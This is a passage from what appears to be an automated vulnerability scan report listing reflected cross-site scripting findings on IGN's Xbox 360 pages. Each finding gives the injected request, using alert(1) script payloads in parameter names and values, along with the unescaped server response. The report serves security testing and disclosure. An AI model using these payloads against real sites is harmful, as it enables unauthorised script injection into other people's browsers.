<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN Xbox 360: Game
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://xbox360.ign.com/index/images.html?471cd"><script>alert(1)</script>6e79fbc037a=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.728. http://xbox360.ign.com/index/images.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/index/images.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a03fc"-alert(1)-"7e3ddc772ac was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/images.html?a03fc"-alert(1)-"7e3ddc772ac=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:16:33 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:16:33 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c04-12684-519826560-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:16:33 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044993142v-1n-12mc+1297044993142mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 120170

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN Xbox 360: Game
...[SNIP]...
of _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://xbox360.ign.com/index/images.html?a03fc"-alert(1)-"7e3ddc772ac=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.729. http://xbox360.ign.com/index/latest-updates.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/index/latest-updates.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7e96e"><script>alert(1)</script>005bfdba6e8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/latest-updates.html?7e96e"><script>alert(1)</script>005bfdba6e8=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:16:27 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:16:27 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c04-13836-1350073416-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:16:27 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044987185v-1n-12mc+1297044987185mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 143309

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://xbox360.ign.com/index/latest-updates.html?7e96e"><script>alert(1)</script>005bfdba6e8=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.730. http://xbox360.ign.com/index/latest-updates.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/index/latest-updates.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ea779"-alert(1)-"08664c9c6f2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/latest-updates.html?ea779"-alert(1)-"08664c9c6f2=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:16:29 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:16:29 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c09-18740-565934705-9;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:16:28 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044988932v-1n-12mc+1297044988932mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 143147

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
coreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://xbox360.ign.com/index/latest-updates.html?ea779"-alert(1)-"08664c9c6f2=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.731. http://xbox360.ign.com/index/latest-updates.html [types parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/index/latest-updates.html

Issue detail

The value of the types request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 225a5"><script>alert(1)</script>1d5c61f951c was submitted in the types parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/latest-updates.html?types=all225a5"><script>alert(1)</script>1d5c61f951c HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:16:21 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:16:21 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c01-2993-622797905-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:16:21 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044981141v-1n-12mc+1297044981141mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 116906

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://xbox360.ign.com/index/latest-updates.html?types=all225a5"><script>alert(1)</script>1d5c61f951c&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.732. http://xbox360.ign.com/index/latest-updates.html [types parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/index/latest-updates.html

Issue detail

The value of the types request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f2b35"-alert(1)-"aae8b6ff985 was submitted in the types parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/latest-updates.html?types=allf2b35"-alert(1)-"aae8b6ff985 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:16:24 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:16:24 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c0a-24030-868671230-15;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:16:24 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044984257v-1n-12mc+1297044984257mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 116473

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><!-- /* AD from: http://ssa.ign.co
...[SNIP]...
== 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://xbox360.ign.com/index/latest-updates.html?types=allf2b35"-alert(1)-"aae8b6ff985",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.733. http://xbox360.ign.com/index/latest-updates.html [types parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/index/latest-updates.html

Issue detail

The value of the types request parameter is copied into an HTML comment. The payload 7ef14--><script>alert(1)</script>a675097a817 was submitted in the types parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.

Request

GET /index/latest-updates.html?types=all7ef14--><script>alert(1)</script>a675097a817 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:16:28 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:16:28 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c04-13836-1924215581-4;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:16:28 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044988362v-1n-12mc+1297044988362mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 116937

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><script>alert(1)</script>a675097a817&startDate=20110107&endDate=20110206 -->
...[SNIP]...

3.734. http://xbox360.ign.com/index/news.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/index/news.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c5534"-alert(1)-"9c73e61e0b5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/news.html?c5534"-alert(1)-"9c73e61e0b5=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:16:29 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:16:29 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c0a-24030-1370850265-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:16:29 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044989563v-1n-12mc+1297044989563mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 129105

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN Xbox 360: Game
...[SNIP]...
peof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://xbox360.ign.com/index/news.html?c5534"-alert(1)-"9c73e61e0b5=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.735. http://xbox360.ign.com/index/news.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/index/news.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 52e0b"><script>alert(1)</script>226239f1c30 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/news.html?52e0b"><script>alert(1)</script>226239f1c30=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:16:26 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:16:26 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c05-26185-145956922-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:16:26 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044986077v-1n-12mc+1297044986077mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 129211

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN Xbox 360: Game
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://xbox360.ign.com/index/news.html?52e0b"><script>alert(1)</script>226239f1c30=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.736. http://xbox360.ign.com/index/previews.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/index/previews.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6fb7f"><script>alert(1)</script>06ae53bab45 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/previews.html?6fb7f"><script>alert(1)</script>06ae53bab45=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:16:26 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:16:26 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c07-32464-1055961827-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:16:26 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044986077v-1n-12mc+1297044986077mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 125013

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN Xbox 360: Game
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://xbox360.ign.com/index/previews.html?6fb7f"><script>alert(1)</script>06ae53bab45=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.737. http://xbox360.ign.com/index/previews.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/index/previews.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5f049"-alert(1)-"ee27d54d5da was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/previews.html?5f049"-alert(1)-"ee27d54d5da=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:16:28 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:16:28 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c08-31833-1480398995-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:16:28 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044988360v-1n-12mc+1297044988360mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 125046

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN Xbox 360: Game
...[SNIP]...
_comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://xbox360.ign.com/index/previews.html?5f049"-alert(1)-"ee27d54d5da=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.738. http://xbox360.ign.com/index/reviews.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/index/reviews.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8ab5e"-alert(1)-"12840a91b13 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/reviews.html?8ab5e"-alert(1)-"12840a91b13=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:16:32 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:16:32 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c09-18145-37785357-10;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:16:31 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044991984v-1n-12mc+1297044991984mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 172427

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>New Xbox 360 Revie
...[SNIP]...
f _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://xbox360.ign.com/index/reviews.html?8ab5e"-alert(1)-"12840a91b13=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.739. http://xbox360.ign.com/index/reviews.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/index/reviews.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 28cf9"><script>alert(1)</script>a2c47d6a97e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/reviews.html?28cf9"><script>alert(1)</script>a2c47d6a97e=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:16:30 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:16:30 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c02-24874-533257766-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:16:29 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044990008v-1n-12mc+1297044990008mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 171053

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>New Xbox 360 Revie
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://xbox360.ign.com/index/reviews.html?28cf9"><script>alert(1)</script>a2c47d6a97e=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.740. http://xbox360.ign.com/index/upcoming.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/index/upcoming.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c96f5"-alert(1)-"8056cacaa44 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/upcoming.html?c96f5"-alert(1)-"8056cacaa44=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:16:28 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:16:28 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c0a-24030-976480066-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:16:28 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297044988387v-1n-12mc+1297044988387mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 162123

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>New Xbox 360 Games
...[SNIP]...
_comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://xbox360.ign.com/index/upcoming.html?c96f5"-alert(1)-"8056cacaa44=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.741. http://xbox360.ign.com/index/upcoming.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://xbox360.ign.com
Path:	/index/upcoming.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ab34e"><script>alert(1)</script>98e8b63aa9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/upcoming.html?ab34e"><script>alert(1)</script>98e8b63aa9=1 HTTP/1.1
Host: xbox360.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 02:16:26 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 02:16:26 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c04-13272-1894150000-2;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 02:16:26 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
